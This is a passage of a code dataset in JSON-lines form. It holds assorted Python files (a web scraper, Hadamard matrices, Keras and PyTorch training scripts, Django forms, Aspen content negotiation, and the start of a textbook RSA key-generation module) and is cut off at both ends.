monitor.y)\n container.geometry(monitor_string)\n container.wait_visibility(container)\n container.attributes(\"-alpha\", 1)\n\n def set_partial_screen_transparent(self):\n self.set_always_on_top()\n self.remove_title_bar()\n self.disable_resizing()\n for controller in self.containers:\n screenwidth = self.winfo_screenwidth()\n screenheight = self.winfo_screenheight()\n window_width = int(screenwidth * 0.3)\n window_height = int(screenheight * 0.3)\n window_size = \"{0}x{1}+0+0\".format(window_width, window_height)\n controller.geometry(window_size)\n controller.attributes(\"-alpha\", 0.3)\n self.toggle_transparent_frame_position()\n\n def toggle_transparent_frame_position(self, e=None):\n screenwidth = self.winfo_screenwidth()\n screenheight = self.winfo_screenheight()\n\n self.set_always_on_top()\n self.remove_title_bar()\n self.disable_resizing()\n\n window_width = int(screenwidth * 0.3)\n window_height = int(screenheight * 0.3)\n\n if self.transparent_frame_position == 0:\n self.transparent_frame_position = screenwidth - window_width\n else:\n self.transparent_frame_position = 0\n\n bottom_left_screen = \"+{}+{}\".format(self.transparent_frame_position, screenheight - window_height)\n for controller in self.containers:\n controller.geometry(bottom_left_screen)\n","sub_path":"Frames/MobTimerController.py","file_name":"MobTimerController.py","file_ext":"py","file_size_in_byte":6112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"282342565","text":"import requests\nimport pandas as pd\n\nfrom bs4 import BeautifulSoup\n\npage = \"https://en.wikipedia.org/wiki/List_of_state_and_union_territory_capitals_in_India\"\n\npage = requests.get(page)\npage = str(page.content)\n\nsoup = BeautifulSoup(page,\"html.parser\")\n'''\nprint(soup.title)\nprint(soup.title.string)\n\nprint(soup.a)\nprint(soup.find_all(\"a\"))\n'''\nall_links = soup.find_all(\"a\")\nfor link in all_links:\n link.get(\"href\")\n\nall_tables = soup.find_all('table', class_=\"wikitable sortable plainrowheaders\")\nnova_tabela = soup.find('table',{\"class\": \"wikitable sortable plainrowheaders\"})\n#print(nova_tabela)\n\nA=[]\nB=[]\nC=[]\nD=[]\nE=[]\nF=[]\nG=[]\n\nfor row in nova_tabela.find_all(\"tr\"):\n cells = row.find_all(\"td\")\n h = row.find_all(\"th\")\n if len(cells)==6:\n A.append(cells[0].find(text=True))\n B.append(h[0].find(text=True))\n C.append(cells[1].find(text=True))\n D.append(cells[2].find(text=True))\n E.append(cells[3].find(text=True))\n F.append(cells[4].find(text=True))\n G.append(cells[5].find(text=True))\n# print(A)\n# print(B)\n# print(C)\n# print(D)\n# print(E)\n# print(F)\n# print(G)\n\ndf = pd.DataFrame(A,columns=['Number'])\ndf['State']=B\ndf['Admin_Capital']=C\ndf['Legislative_Capital']=D\ndf['Judiciary_Capital']=E\ndf['Year_Capital']=F\ndf['Former_Capital']=G\nprint(df)","sub_path":"COLETANDO/beautifulsoup_excel.py","file_name":"beautifulsoup_excel.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"185296911","text":"import numpy as np\nfrom scipy.linalg import hadamard\n#import matplotlib.pyplot as plt\nimport timeit\n\ndef matmult(A,x): #O(n^2)\n\tb = [] #initialize empty array\n\tfor i in range(len(A)): #O(n)\n\t\ttemp = 0 #O(1)\n\t\tfor j in range(len(A)): #O(n)\n\t\t\ttemp += A[i,j]*x[j] #multiply\n\t\tb.append(temp)\n\treturn b\n\ndef hadmat(k):\n\tif k > 1:\n\t\ta = hadmat(k-1) #T(k-1) + n^2\n\t\tdim = len(a)\n\t\th = np.empty([2*dim,2*dim])\n\t\tfor i in range(dim):\n\t\t\tfor j in range(dim):\n\t\t\t\th[i,j] = a[i,j] #upper left quad\n\t\t\t\th[i,j+dim] = a[i,j] #lower left quad\n\t\t\t\th[i+dim,j] = a[i,j] #upper right quad\n\t\t\t\th[i+dim,j+dim] = (a[i,j])*(-1) #lower right quad\n\t\treturn h \n\telse:\n\t\treturn np.array([[1,1],[1,-1]]) #base case matrix\n\ndef hadmatmult(H,x): #O(?)\n\tif x.size == 1:\n\t\treturn np.array([H[0][0]*x[0]]) #return 2 by 1 matrix\n\telse:\n\t\th,w = x.size//2, x.size//2 #split size of x in half\n\t\txH = x.size//2\n\t\tquad = H[:h, :w] #generate quad\n\t\txx = x[:xH] #split x in half\n\t\ta = hadmatmult(quad, x[0:xH]) #multiply quad by first x half\n\t\tb = hadmatmult(quad, x[xH:x.size]) #multiply quad by first x half\n\t\treturn np.concatenate((np.add(a,b),np.subtract(a,b)),axis=0) #combine\n\nk = int(input())\nmat = hadmat(k)\nfor i in range(len(mat)):\n\tfor j in range(len(mat)):\n\t\tif mat[i,j] == 1:\n\t\t\tprint('* ',end='')\n\t\telse:\n\t\t\tprint('. ',end='')\n\tprint()\nprint(len(mat))\t\n'''\ndef runMatMult():\n\tB = []\n\tfor k in range(1,13):\n\t\thada = hadmat(k)\n\t\tsize_n = 2**k\n\t\trandVect = np.random.randint(-10000,high = 9999,size = size_n)\n\t\ttimer = timeit.Timer(lambda:matmult(hada,randVect))\n\t\tB.append(timer.timeit(number = 1))\n\treturn B\n\ndef runHadMatMult():\n\tB = []\n\tfor k in range(1,13):\n\t\thada = hadmat(k)\n\t\tsize_n = 2**k\n\t\trandVect = np.random.randint(-10000,high=9999,size=size_n)\n\t\ttimer = timeit.Timer(lambda:hadmatmult(hada,randVect))\n\t\tB.append(timer.timeit(number=1))\n\treturn B\n\ndef testMatrix():\n\tnumOfElems = []\n\tfor k in range(1,13):\n\t\tn = 2**k\n\t\tnumOfElems.append(n)\n\tplt.plot(numOfElems,runHadMatMult(),'r',label = 'hadmatmult')\n\tplt.plot(numOfElems,runMatMult(),'b',label = 'matmult')\n\tplt.title('Runtimes between matmult and hadmatmult')\n\tplt.ylabel('time')\n\tplt.xlabel('Size n = 2^k')\n\tplt.legend(loc = 'upper left')\n\tplt.show()\n'''\n","sub_path":"hw4/hw4.py","file_name":"hw4.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"327185254","text":"#!/usr/bin/python3\ndef list_division(my_list_1, my_list_2, list_length):\n new_list = []\n for x in range(list_length):\n try:\n result = my_list_1[x] / my_list_2[x]\n except TypeError:\n print(\"{}\".format(\"wrong type\"))\n result = 0\n except ZeroDivisionError:\n print(\"{}\".format(\"division by 0\"))\n result = 0\n except IndexError:\n print(\"{}\".format(\"out of range\"))\n result = 0\n finally:\n new_list.append(result)\n return new_list\n","sub_path":"0x05-python-exceptions/4-list_division.py","file_name":"4-list_division.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"343521975","text":"import scipy.io as sio\nimport numpy as np\nfrom numpy.random import permutation\nfrom sklearn import preprocessing\n\nfrom keras.models import Sequential\nfrom keras.layers.convolutional import Conv1D\nfrom keras.layers.pooling import MaxPooling1D, GlobalAveragePooling1D\nfrom keras.layers.core import Dense, Dropout, Flatten\nfrom keras.layers.normalization import BatchNormalization\nfrom keras import regularizers\nfrom keras.utils import np_utils\nfrom keras import optimizers\n\n\n###############################################################################\n# Load Data\n###############################################################################\nWAT = np.loadtxt('/home/brandon/Desktop/Signal_Manuscript/Dataset/Reduced/1D/1D_Complex_Signal_Dataset_Reduced_WAT.csv', delimiter=',')\nBAT = np.loadtxt('/home/brandon/Desktop/Signal_Manuscript/Dataset/Reduced/1D/1D_Complex_Signal_Dataset_Reduced_BAT.csv', delimiter=',')\nMUS = np.loadtxt('/home/brandon/Desktop/Signal_Manuscript/Dataset/Reduced/1D/1D_Complex_Signal_Dataset_Reduced_MUS.csv', delimiter=',')\n\n\n###############################################################################\n# Organize\n###############################################################################\nratio = 0.75\nnumclasses = 3\n\n# Make sizes equal\nmin_sample_size = np.min([np.shape(WAT)[0], np.shape(BAT)[0], np.shape(MUS)[0]])\ntraining_size_per_class = int(np.round(min_sample_size * ratio))\ntesting_size_per_class = int(min_sample_size - training_size_per_class)\n\n#y_train = np.zeros((training_size_per_class*3, 1))\n#for i in range(numclasses):\n# y_train[(training_size_per_class*i):(training_size_per_class+(training_size_per_class*i)),0] = i\n#\n#y_validation = np.zeros((testing_size_per_class*3, 1))\n#for j in range(numclasses):\n# y_validation[(testing_size_per_class*j):(testing_size_per_class+(testing_size_per_class*j)), 0] = j\n\n# Make classes equal\nWAT = WAT[permutation(np.shape(WAT)[0]), :]\nBAT = BAT[permutation(np.shape(BAT)[0]), :]\nMUS = MUS[permutation(np.shape(MUS)[0]), :]\n\nX_train = np.concatenate((\n WAT[0:training_size_per_class, :], \n BAT[0:training_size_per_class, :], \n MUS[0:training_size_per_class, :]), axis = 0)\n\nX_validation = np.concatenate((\n WAT[training_size_per_class:min_sample_size, :], \n BAT[training_size_per_class:min_sample_size, :], \n MUS[training_size_per_class:min_sample_size, :]), axis = 0)\n\nX_train = X_train.astype('float32')\nX_validation = X_validation.astype('float32')\n\ny_train = X_train[:,24]\ny_test = X_validation[:,24]\n\n# Standardize training and testing\nscaler = preprocessing.StandardScaler().fit(X_train)\nX_train = scaler.transform(X_train)\nX_test = scaler.transform(X_validation)\n#\nX_train = np.expand_dims(X_train, axis=2)\nX_test = np.expand_dims(X_test, axis=2)\n#\n## one hot encode outputs\n#y_train = np_utils.to_categorical(y_train)\n#y_test = np_utils.to_categorical(y_validation)\n\n\n###############################################################################\n## Create the model\n###############################################################################\nX_train = X_train[:,0:24,:]\nX_test = X_test[:,0:24,:]\n\n# Signal Parameters\nechos = np.shape(X_train)[1] # Total amount of time steps\ndepth = 1 # Real and Imag have been combined\nweight_decay = 0.0001#0.00001\n\nnum_filter = [128, 64]\nlength_filter = [8, 6]\npool_length = [4,2]\n\n# CNN NETWORK\nmodel = Sequential() # Initializes model to sequientially add layers\n\nmodel.add(Conv1D(filters = num_filter[0],\n kernel_size = length_filter[0],\n padding = 'same',\n activation = 'relu',\n kernel_regularizer=regularizers.l2(weight_decay),\n input_shape = (echos, depth)))\nmodel.add(BatchNormalization(axis=-1, momentum=0.99))\n\nmodel.add(MaxPooling1D(pool_size=pool_length[0]))\n\nmodel.add(Dropout(0.25))\n\n\nmodel.add(Conv1D(filters = num_filter[1],\n kernel_size = length_filter[1],\n padding = 'same',\n activation = 'relu',\n kernel_regularizer=regularizers.l2(weight_decay)))\n\nmodel.add(BatchNormalization(axis=-1, momentum=0.99))\n\nmodel.add(MaxPooling1D(pool_size=pool_length[1]))\n\nmodel.add(Dropout(0.25))\n\nmodel.add(Flatten())\n\nmodel.add(Dense(1, activation='softmax')) # Regular Neural Net hidden layer\n\n# Compile model\nsgd = optimizers.SGD(lr=0.01, clipvalue=0.5, momentum=.6, decay=0.001)\nmodel.compile(loss='mse',\n optimizer='adam',\n metrics=['accuracy'])\n\n\n# Fit model on training data\nmodel.fit(X_train, y_train, batch_size=25, epochs=10, verbose=1,\n validation_data=(X_test, y_test))\n\n# Evaluate model on test data\nTrain_Accuracy = model.evaluate(X_train, y_train, verbose=0)[1]\nValidation_Accuracy = model.evaluate(X_test, y_test, verbose=0)[1]\nprint()\nprint('Train: ' + str(round(Train_Accuracy * 100, 2)))\nprint('Validation: ' + str(round(Validation_Accuracy * 100, 2)))\n\nPredictions = model.predict(X_test)","sub_path":"Manuscript_v2/Signal/Models/Estimate_FF_1DCNN.py","file_name":"Estimate_FF_1DCNN.py","file_ext":"py","file_size_in_byte":5055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"625189329","text":"#-*-coding:utf-8-*-\n\nfrom __future__ import print_function\n\nimport curses\nfrom pick import Picker\n\ndef go_back(picker):\n return (None, -1)\n\ntitle = 'Please choose your favorite programming language: '\noptions = ['Java', 'JavaScript', 'Python', 'PHP', 'C++', 'Erlang', 'Haskell']\n\npicker = Picker(options, title)\npicker.register_custom_handler(curses.KEY_LEFT, go_back)\noption, index = picker.start()\nprint(option, index)\n","sub_path":"example/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"393212873","text":"from __future__ import print_function\nimport os\nimport os.path as osp\nimport sys\nimport time\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nimport _init_paths\nimport utils as utl\nfrom configs import parse_rnn_args as parse_args\nfrom models import build_model\n\ndef main(args):\n this_dir = osp.join(osp.dirname(__file__), '.')\n os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n data_loaders = {\n phase: utl.build_data_loader(args, phase)\n for phase in args.phases\n }\n\n model = build_model(args).apply(utl.weights_init).to(device)\n air_criterion = nn.L1Loss().to(device)\n bed_criterion = nn.L1Loss().to(device)\n optimizer = optim.Adam(model.parameters(), lr=args.lr)\n\n for epoch in range(1, args.epochs+1):\n # Learning rate scheduler\n if epoch == 5 or epoch%10 == 0 :\n args.lr = args.lr * 0.4\n for param_group in optimizer.param_groups:\n param_group['lr'] = args.lr\n\n air_errors = {phase: 0.0 for phase in args.phases}\n bed_errors = {phase: 0.0 for phase in args.phases}\n\n start = time.time()\n for phase in args.phases:\n training = phase=='train'\n if training:\n model.train(True)\n else:\n if epoch%args.test_interval == 0:\n model.train(False)\n else:\n continue\n\n with torch.set_grad_enabled(training):\n for batch_idx, (data, init, air_target, bed_target) in enumerate(data_loaders[phase]):\n batch_size = data.shape[0]\n data = data.to(device)\n init = init.to(device)\n air_target = air_target.to(device)\n bed_target = bed_target.to(device)\n\n air_output, bed_output = model(data, init)\n air_loss = air_criterion(air_output, air_target)\n bed_loss = bed_criterion(bed_output, bed_target)\n air_errors[phase] += air_loss.item()*batch_size\n bed_errors[phase] += bed_loss.item()*batch_size\n if args.debug:\n print(air_loss.item(), bed_loss.item())\n\n if training:\n optimizer.zero_grad()\n loss = air_loss + bed_loss\n loss.backward()\n optimizer.step()\n end = time.time()\n\n if epoch%args.test_interval == 0:\n snapshot_path = osp.join(this_dir, 'snapshots')\n if not os.path.isdir(snapshot_path):\n os.makedirs(snapshot_path)\n snapshot_name = 'epoch-{}-air-{}-bed-{}.pth'.format(\n epoch,\n float(\"{:.2f}\".format(air_errors['test']/len(data_loaders['test'].dataset) * 412)),\n float(\"{:.2f}\".format(bed_errors['test']/len(data_loaders['test'].dataset) * 412)),\n )\n torch.save(model.state_dict(), os.path.join(snapshot_path, snapshot_name))\n\n print('Epoch {:2} | '\n 'train loss (air): {:4.2f} (bed): {:4.2f} | '\n 'test loss (air): {:4.2f} (bed): {:4.2f} | '\n 'running time: {:.2f} sec'.format(\n epoch,\n air_errors['train']/len(data_loaders['train'].dataset) * 412,\n bed_errors['train']/len(data_loaders['train'].dataset) * 412,\n air_errors['test']/len(data_loaders['test'].dataset) * 412,\n bed_errors['test']/len(data_loaders['test'].dataset) * 412,\n end-start,\n ))\n\nif __name__ == '__main__':\n main(parse_args())\n\n","sub_path":"tools/rnn/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"344188620","text":"\"\"\"Implements negotiated resources.\n\nAspen supports content negotiation. If a file has no file extension, then it\nwill be handled as a \"negotiated resource\". The format of the file is like\nthis:\n\n import foo, json\n ^L\n data = foo.bar(request)\n ^L text/plain\n {{ data }}\n ^L text/json\n {{ json.dumps(data) }}\n\nWe have vendored in Joe Gregorio's content negotiation library to do the heavy\nlifting (parallel to how we handle _cherrypy and _tornado vendoring). If a file\n*does* have a file extension (foo.html), then it is a rendered resource with a\nmimetype computed from the file extension. It is a SyntaxError for a file to\nhave both an extension *and* multiple content pages.\n\n\"\"\"\nimport re\n\nfrom aspen import Response\nimport mimeparse\nfrom aspen.resources import PAGE_BREAK\nfrom aspen.resources.dynamic_resource import DynamicResource\nfrom aspen.utils import typecheck\n\n\nrenderer_re = re.compile(r'#![a-z0-9.-]+')\nmedia_type_re = re.compile(r'[A-Za-z0-9.+*-]+/[A-Za-z0-9.+*-]+')\n\n\nclass NegotiatedResource(DynamicResource):\n \"\"\"This is a negotiated resource. It has three or more pages.\n \"\"\"\n\n min_pages = 3\n max_pages = None\n\n\n def __init__(self, *a, **kw):\n self.renderers = {} # mapping of media type to render function\n self.available_types = [] # ordered sequence of media types\n DynamicResource.__init__(self, *a, **kw)\n\n\n def compile_page(self, page, __ignored):\n \"\"\"Given a bytestring, return a (renderer, media type) pair.\n \"\"\"\n if '\\n' in page:\n specline, raw = page.split('\\n', 1)\n else:\n specline = ''\n raw = page\n specline = specline.strip(PAGE_BREAK + ' \\n')\n make_renderer, media_type = self._parse_specline(specline)\n render = make_renderer(self.fs, raw)\n if media_type in self.renderers:\n raise SyntaxError(\"Two content pages defined for %s.\" % media_type)\n\n # update internal data structures\n self.renderers[media_type] = render\n self.available_types.append(media_type)\n\n return (render, media_type) # back to parent class\n\n\n def get_response(self, context):\n \"\"\"Given a context dict, return a response object.\n \"\"\"\n request = context['request']\n\n # find an Accept header\n accept = request.headers.get('X-Aspen-Accept', None)\n if accept is not None: # indirect negotiation\n failure = 404\n else: # direct negotiation\n accept = request.headers.get('Accept', None)\n failure = 406\n\n # negotiate or punt\n if accept is not None:\n #print \"Calling best_match(\" + repr(self.available_types) + \",\" + repr(accept) + \")\"\n media_type = mimeparse.best_match(self.available_types, accept)\n if media_type == '': # breakdown in negotiations\n if failure == 404:\n failure = Response(404)\n elif failure == 406:\n msg = \"The following media types are available: %s.\"\n msg %= ', '.join(self.available_types)\n failure = Response(406, msg.encode('US-ASCII'))\n raise failure\n render = self.renderers[media_type] # KeyError is a bug\n else: # punt\n render, media_type = self.pages[2] # default to first content page\n\n response = context['response']\n response.body = render(context)\n if 'Content-Type' not in response.headers:\n response.headers['Content-Type'] = media_type\n if media_type.startswith('text/'):\n charset = response.charset\n if charset is not None:\n response.headers['Content-Type'] += '; charset=' + charset\n\n return response\n\n\n def _parse_specline(self, specline):\n \"\"\"Given a bytestring, return a two-tuple.\n\n The incoming string is expected to be of the form:\n\n ^L #!renderer media/type\n\n The renderer is optional. It will be computed based on media type if\n absent. The return two-tuple contains a render function and a media\n type (as unicode). SyntaxError is raised if there aren't one or two\n parts or if either of the parts is malformed. If only one part is\n passed in it's interpreted as a media type.\n\n \"\"\"\n typecheck(specline, str)\n if specline == \"\":\n raise SyntaxError(\"Content pages in negotiated resources must \"\n \"have a specline.\")\n\n # Parse into one or two parts.\n parts = specline.split()\n nparts = len(parts)\n if nparts not in (1, 2):\n raise SyntaxError(\"A negotiated resource specline must have one \"\n \"or two parts: #!renderer media/type. Yours is: \"\n \"%s.\" % specline)\n\n # Assign parts.\n if nparts == 1:\n media_type = parts[0]\n renderer = self.website.default_renderers_by_media_type[media_type]\n renderer = \"#!\" + renderer\n else:\n assert nparts == 2, nparts\n renderer, media_type = parts\n\n # Validate media type.\n if media_type_re.match(media_type) is None:\n msg = (\"Malformed media type %s in specline %s. It must match \"\n \"%s.\")\n msg %= (media_type, specline, media_type_re.pattern)\n raise SyntaxError(msg)\n\n # Hydrate and validate renderer.\n make_renderer = self._get_renderer_factory(media_type, renderer)\n\n # Return.\n return (make_renderer, media_type)\n\n\n def _get_renderer_factory(self, media_type, renderer):\n \"\"\"Given two bytestrings, return a renderer factory or None.\n \"\"\"\n typecheck(media_type, str, renderer, str)\n if renderer_re.match(renderer) is None:\n possible =', '.join(sorted(self.website.renderer_factories.keys()))\n msg = (\"Malformed renderer %s. It must match %s. Possible \"\n \"renderers (might need third-party libs): %s.\")\n raise SyntaxError(msg % (renderer, renderer_re.pattern, possible))\n renderer = renderer[2:] # strip off the hashbang\n renderer = renderer.decode('US-ASCII')\n\n factories = self.website.renderer_factories\n make_renderer = factories.get(renderer, None)\n if isinstance(make_renderer, ImportError):\n raise make_renderer\n elif make_renderer is None:\n possible = []\n want_legend = False\n for k, v in sorted(factories.iteritems()):\n if isinstance(v, ImportError):\n k = '*' + k\n want_legend = True\n possible.append(k)\n possible = ', '.join(possible)\n if want_legend:\n legend = \" (starred are missing third-party libraries)\"\n else:\n legend = ''\n raise ValueError(\"Unknown renderer for %s: %s. Possible \"\n \"renderers%s: %s.\"\n % (media_type, renderer, legend, possible))\n return make_renderer\n","sub_path":"aspen/resources/negotiated_resource.py","file_name":"negotiated_resource.py","file_ext":"py","file_size_in_byte":7234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"340776949","text":"import requests\nfrom datetime import datetime\nimport dateutil.parser\nimport time\nMY_LAT = 18.520430\nMY_LNG = 73.856743\n\nparameter = {\n \"lat\" : MY_LAT,\n \"lng\" : MY_LNG,\n \"formatted\" : 0\n}\n\nresponse = requests.get(url=\"https://api.sunrise-sunset.org/json\",params=parameter)\nresponse.raise_for_status()\n\ndata = response.json()\nprint(data)\nsunrise = data[\"results\"][\"sunrise\"]\nsunset = data[\"results\"][\"sunset\"]\n\nyourdate = dateutil.parser.parse(sunrise)\n\nprint(yourdate.hour)\n\nprint(sunrise,sunset)\n\ndef datetime_from_utc_to_local(yourdate):\n now_timestamp = time.time()\n offset = datetime.fromtimestamp(now_timestamp) - datetime.utcfromtimestamp(now_timestamp)\n return yourdate + offset\n\nprint(datetime_from_utc_to_local(yourdate).hour,datetime_from_utc_to_local(yourdate))","sub_path":"Day33_API/sunrise_sunset_api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"394211135","text":"from django import forms\n\nfrom crowdboticsApp.models import Dog, Cat\n\n\nclass DogForm(forms.ModelForm):\n class Meta:\n model = Dog\n fields = ['name', 'birthday', ]\n widgets = {\n 'birthday': forms.SelectDateWidget(),\n }\n\n widget = forms.SelectDateWidget()\n\n def __init__(self, *args, **kwargs):\n super(DogForm, self).__init__(*args, **kwargs)\n\n\nclass CatForm(forms.ModelForm):\n class Meta:\n model = Cat\n fields = ['name', 'birthday', ]\n widgets = {\n 'birthday': forms.SelectDateWidget(),\n }\n\n def __init__(self, *args, **kwargs):\n super(CatForm, self).__init__(*args, **kwargs)","sub_path":"crowdboticsApp/app_forms/animals_forms.py","file_name":"animals_forms.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"71801417","text":"\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\nclass Solution:\n \"\"\"\n @param: : the root of tree\n @param: : the target sum\n @return: two numbers from tree which sum is n\n \"\"\"\n\n def twoSum(self, root, n):\n # write your code here\n if not root:\n return None\n \n target_map = set()\n res = []\n self.inorder(root, target_map, n, res)\n print(res)\n return res\n \n def inorder(self, root, target_map, n, res):\n if not root:\n return \n \n self.inorder(root.left, target_map, n, res)\n if root.val in target_map:\n if len(res) == 0:\n res.append(n - root.val)\n res.append(root.val)\n target_map.add(n - root.val)\n self.inorder(root.right, target_map, n, res)\n \n \n \n ","sub_path":"689 two sum IV - input is a BST.py","file_name":"689 two sum IV - input is a BST.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"328412325","text":"from typing import Tuple\n\nfrom loomxpy._s7 import S7\nfrom loomxpy._mode import Modes\n\n\nclass LoomX(S7):\n def __init__(self):\n self.modes: Modes = Modes()\n self._active_mode: str = None\n # Data Matrix\n self._data_matrix = None\n # Features\n self._feature_attrs = None\n # Observations\n self._observation_attrs = None\n\n @property\n def active(self) -> str:\n return self._active_mode\n\n @active.setter\n def active(self, value) -> None:\n self._validate_active_value(value=value)\n self._active_mode = value\n self._data_matrix = self.modes[value].X\n self._feature_attrs = self.modes[value].f\n self._observation_attrs = self.modes[value].o\n\n def _validate_active_value(self, value):\n _mode_keys_str = f\"{', '.join(self.modes._keys)}\"\n if len(self.modes._keys) == 0:\n raise Exception(\n \"Cannot set an active mode. None has been detected. You can add one using `loomx.modes. = `.\"\n )\n if isinstance(value, Tuple[str, ...]):\n raise Exception(\"This is currently not implemented.\")\n if isinstance(value, str) and value in self.modes:\n return True\n raise Exception(\n f\"The mode {value} does not exist. Choose one of: {_mode_keys_str}.\"\n )\n\n def _check_active_mode_is_set(self):\n if self._active_mode is None:\n raise Exception(\n \"No active mode set. Use `loomx.active = ` to set one.\"\n )\n\n @property\n def X(self):\n self._check_active_mode_is_set()\n return self._data_matrix\n\n @property\n def f(self):\n self._check_active_mode_is_set()\n return self._feature_attrs\n\n @property\n def o(self):\n self._check_active_mode_is_set()\n return self._observation_attrs\n","sub_path":"loomxpy/_loomx.py","file_name":"_loomx.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"398151762","text":"'''\nAuthor: Evan Nishi\nDo whatever you want with this, took me like 5 min :)\n'''\n#quick example on how to use lists and 'in' keyword\n#also so logic and loops in there!\ndef has99(nums):\n list_num = 0\n for num in nums:\n list_num += 1\n if (nums[list_num] == 9) and(nums[list_num + 1 ] == 9):\n print('true')\n return True\n else:\n print('false')\n return False\nhas99([1,2,3,3,6,7,8,9,9])\n#will return True because there are two values of 9 in the list back to back\n","sub_path":"python notes and examples/lists_example.py","file_name":"lists_example.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"219337355","text":"#! /usr/bin/python\n#-*- coding: utf-8 -*-\n\n# Big thanks to the initial authors:\n__author__ = \"Sybren Stuvel, Marloes de Boer and Ivo Tamboer\"\n__date__ = \"2010-02-05\"\n__version__ = '1.3.3'\n# http://stuvel.eu/rsa\n\n\n# I use this code (with some modifications) because it is quite smart and more simple than the mine.\n# Thanks to Sybren Stuvel, Marloes de Boer and Ivo Tamboer for release this code under GPL license!\n# C¨¦dric Bonhomme\n\n\n# NOTE: Python's modulo can return negative numbers. We compensate for\n# this behaviour using the abs() function\n\nfrom pickle import dumps, loads\nimport base64\nimport math\nimport os\nimport random\nimport sys\nimport types\nimport zlib\n\nimport utils\n\ndef read_random_int(nbits):\n \"\"\"\n Reads a random integer of approximately nbits bits rounded up\n to whole bytes.\n \"\"\"\n nbytes = ceil(nbits/8.)\n randomdata = os.urandom(nbytes)\n return utils.bytes2int(randomdata)\n\ndef ceil(x):\n \"\"\"\n ceil(x) -> int(math.ceil(x))\n \"\"\"\n return int(math.ceil(x))\n\ndef randint(minvalue, maxvalue):\n \"\"\"\n Returns a random integer x with minvalue <= x <= maxvalue\n \"\"\"\n # Safety - get a lot of random data even if the range is fairly\n # small\n min_nbits = 32\n\n # The range of the random numbers we need to generate\n range = maxvalue - minvalue\n\n # Which is this number of bytes\n rangebytes = ceil(math.log(range, 2) / 8.)\n\n # Convert to bits, but make sure it's always at least min_nbits*2\n rangebits = max(rangebytes * 8, min_nbits * 2)\n\n # Take a random number of bits between min_nbits and rangebits\n nbits = random.randint(min_nbits, rangebits)\n\n return (read_random_int(nbits) % range) + minvalue\n\ndef randomized_primality_testing(n, k):\n \"\"\"\n Calculates whether n is composite (which is always correct) or\n prime (which is incorrect with error probability 2**-k)\n\n Returns False if the number if composite, and True if it's\n probably prime.\n \"\"\"\n\n q = 0.5 # Property of the jacobi_witness function\n\n # t = int(math.ceil(k / math.log(1/q, 2)))\n t = ceil(k / math.log(1/q, 2))\n for i in range(t+1):\n x = randint(1, n-1)\n if utils.jacobi_witness(x, n):\n return False\n\n return True\n\ndef is_prime(number):\n \"\"\"Returns True if the number is prime, and False otherwise.\n\n >>> is_prime(42)\n 0\n >>> is_prime(41)\n 1\n \"\"\"\n\n \"\"\"\n if not utils.fermat_little_theorem(number) == 1:\n # Not prime, according to Fermat's little theorem\n return False\n \"\"\"\n if randomized_primality_testing(number, 5):\n # Prime, according to Jacobi\n return True\n\n # Not prime\n return False\n\n\ndef getprime(nbits):\n \"\"\"Returns a prime number of max. 'math.ceil(nbits/8)*8' bits. In\n other words: nbits is rounded up to whole bytes.\n\n >>> p = getprime(8)\n >>> is_prime(p-1)\n 0\n >>> is_prime(p)\n 1\n >>> is_prime(p+1)\n 0\n \"\"\"\n\n nbytes = int(math.ceil(nbits/8.))\n while True:\n integer = read_random_int(nbits)\n\n # Make sure it's odd\n integer |= 1\n\n # Test for primeness\n if is_prime(integer): break\n\n # Retry if not prime\n\n return integer\n\ndef are_relatively_prime(a, b):\n \"\"\"Returns True if a and b are relatively prime, and False if they\n are not.\n\n >>> are_relatively_prime(2, 3)\n 1\n >>> are_relatively_prime(2, 4)\n 0\n \"\"\"\n\n d = utils.gcd_v1(a, b)\n #d = utils.gcd_v2(a, b)\n return (d == 1)\n\ndef find_p_q(nbits):\n \"\"\"\n Returns a tuple of two different primes of nbits bits\n \"\"\"\n p = getprime(nbits)\n while True:\n q = getprime(nbits)\n if not q == p: break\n\n return (p, q)\n\n# Main function: calculate encryption and decryption keys\ndef calculate_keys(p, q, nbits):\n \"\"\"\n Calculates an encryption and a decryption key for p and q, and\n returns them as a tuple (e, d)\n \"\"\"\n n = p * q\n phi_n = (p-1) * (q-1)\n\n while True:\n # Make sure e has enough bits so we ensure \"wrapping\" through\n # modulo n\n e = getprime(max(8, nbits/2))\n if are_relatively_prime(e, n) and are_relatively_prime(e, phi_n):\n break\n\n (d, i, j) = utils.extended_euclid_gcd_v1(e, phi_n)\n\n if not d == 1:\n raise Exception(\"e (%d) and phi_n (%d) are not relatively prime\" % (e, phi_n))\n\n if not (e * i) % phi_n == 1:\n raise Exception(\"e 